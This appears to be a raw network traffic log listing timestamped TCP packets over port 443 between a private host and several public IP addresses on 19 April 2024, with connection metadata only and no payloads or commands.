Apr 19, 2024 17:01:43.572604895 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.572617054 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.604331017 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.604398966 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.604424953 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.604441881 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.604485989 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.604490995 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.604625940 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.604671001 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.604676008 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.654541016 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.654616117 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.654643059 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.654661894 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.654702902 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.654709101 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.654797077 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.654849052 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.654860973 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.656409979 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.656425953 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.656497002 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.656511068 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.656564951 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.658233881 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.658257961 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.658329010 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.658341885 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.658377886 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.658396959 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.659996033 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.660054922 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.660080910 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.660094976 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.660146952 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.660147905 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.661804914 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.661820889 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.661891937 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.661906004 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.661953926 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.663525105 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.663567066 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.663595915 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.663609028 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.663635015 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.664839983 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.664870977 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.664920092 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.664935112 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.664983034 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.665580988 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.665656090 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.666495085 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.666536093 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.666564941 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.666580915 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.666604042 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.666666031 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.666688919 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.666706085 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.666750908 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.666750908 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.728606939 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.742106915 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.742134094 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.743249893 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.743338108 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.743709087 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.743782043 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.743822098 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.750885963 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:43.750972033 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:43.751075029 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:43.751287937 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:43.751322031 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:43.784147978 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.798906088 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.798938036 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.823518038 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.823564053 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.823668957 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.823923111 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.823951960 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.846916914 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.969563961 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:43.969923973 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:43.969988108 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:43.970346928 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:43.970657110 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:43.970745087 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:43.970808983 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:43.991466045 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.991633892 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:43.991792917 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.992808104 CEST	49702	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:43.992831945 CEST	443	49702	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.016118050 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.042965889 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.043303013 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.043363094 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.043720961 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.044048071 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.044143915 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.044205904 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.044265985 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.044292927 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.226674080 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226747990 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226778984 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226794004 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.226821899 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226859093 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.226865053 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226912975 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226947069 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226948977 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.226958036 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.226993084 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.226999044 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227422953 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227458954 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227477074 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.227488041 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227525949 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227540016 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.227545977 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227581978 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.227588892 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227619886 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.227658987 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.227756023 CEST	49703	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:44.227767944 CEST	443	49703	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:44.325191975 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325282097 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325316906 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325347900 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325351000 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.325378895 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325398922 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.325423956 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325464010 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.325473070 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325762987 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325808048 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.325815916 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.325979948 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326020002 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.326026917 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326093912 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326132059 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.326138020 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326423883 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326467037 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.326473951 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326628923 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.326668024 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.326673985 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327043056 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327094078 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.327100039 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327346087 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327394009 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.327400923 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327588081 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327636003 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.327641010 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327809095 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327867031 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.327872992 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327935934 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.327974081 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.327980042 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.328325033 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.328372002 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.328377962 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.328593969 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.328644037 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.328649998 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.328892946 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.328955889 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.328960896 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329180002 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329225063 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.329231024 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329476118 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329525948 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.329531908 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329730988 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329778910 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.329785109 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329894066 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.329931974 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.329938889 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.330111980 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.330149889 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.330156088 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.330251932 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.330297947 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.330306053 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.330343962 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.330349922 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.370910883 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430016041 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430032015 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430073977 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430102110 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430124044 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430150986 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430181026 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430212975 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430660009 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430728912 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430740118 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430780888 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430788994 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430954933 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.430993080 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.430999041 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.431369066 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.431418896 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.431426048 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.431567907 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.431605101 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.431612015 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.431807041 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.431854010 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.431859970 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440262079 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440300941 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440324068 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.440346003 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440392017 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440396070 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.440408945 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440435886 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440445900 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.440454006 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440489054 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.440495014 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440706968 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440747023 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.440753937 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440911055 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.440949917 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.440956116 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441083908 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441124916 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441132069 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441296101 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441339016 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441345930 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441538095 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441567898 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441586018 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441592932 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441605091 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441636086 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441642046 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441683054 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441689014 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441728115 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.441766024 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441788912 CEST	49705	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.441800117 CEST	443	49705	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.445151091 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.445185900 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.445360899 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.445497990 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.445513010 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.624983072 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.625035048 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.625113964 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.625650883 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.625668049 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.660486937 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.660932064 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.660948992 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.661278009 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.661690950 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.661690950 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.661761999 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.705996037 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.842473030 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.842796087 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.842822075 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.843147039 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.843451023 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.843503952 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.843625069 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:44.884124994 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:44.920094967 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.920176029 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:44.920284986 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.921128035 CEST	49709	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:44.921150923 CEST	443	49709	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.104248047 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.104422092 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.104495049 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.105027914 CEST	49710	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.105067015 CEST	443	49710	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.108544111 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.108570099 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.108664989 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.108897924 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.108913898 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.322652102 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.323482037 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.323503017 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.323982954 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.324419022 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.324503899 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.324569941 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.372112036 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.412837029 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.412923098 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:45.413007021 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.414201021 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.414237976 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:45.581078053 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.581263065 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.581316948 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.581764936 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.581809998 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.581887960 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.582300901 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.582324028 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.582427025 CEST	49712	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:45.582448959 CEST	443	49712	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:45.640366077 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:45.640600920 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.640667915 CEST	443	49713	142.250.9.99	192.168.2.18
